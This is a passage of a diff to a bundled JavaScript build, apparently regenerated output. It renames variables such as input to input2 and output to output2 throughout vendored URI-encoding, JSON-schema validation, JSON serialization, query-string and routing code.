{ - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function stringify2(input2) { let result = ""; - if (input === null || typeof input !== "object") { + if (input2 === null || typeof input2 !== "object") { return result; } const separator = "&"; - const keys = Object.keys(input); + const keys = Object.keys(input2); const keyLength = keys.length; let valueLength = 0; for (let i = 0; i < keyLength; i++) { const key = keys[i]; - const value = input[key]; + const value = input2[key]; const encodedKey = encodeString(key) + "="; if (i) { result += separator; @@ -42776,24 +42776,24 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node, opts, starHeight) { + function walk(node2, opts, starHeight) { let i; let ok; let len; - if (node.type === types2.REPETITION) { + if (node2.type === types2.REPETITION) { starHeight++; opts.reps++; if (starHeight > 1) return false; if (opts.reps > opts.limit) return false; } - const options = node.options || node.value?.options; + const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { ok = walk({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } - const stack = node.stack || node.value?.stack; + const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { ok = walk(stack[i], opts, starHeight); @@ -42943,8 +42943,8 @@ var require_pretty_print = __commonJS({ return mergedRoutes; }, []); } - function serializeNode(node, prefix, options) { - let routes = node.routes; + function serializeNode(node2, prefix, options) { + let routes = node2.routes; if (options.method === void 0) { routes = routes.map(normalizeRoute); } @@ -42958,28 +42958,28 @@ var require_pretty_print = __commonJS({ return routes.map(serializeRoute).join(` ${prefix}`); } - function buildObjectTree(node, tree, prefix, options) { - if (node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) 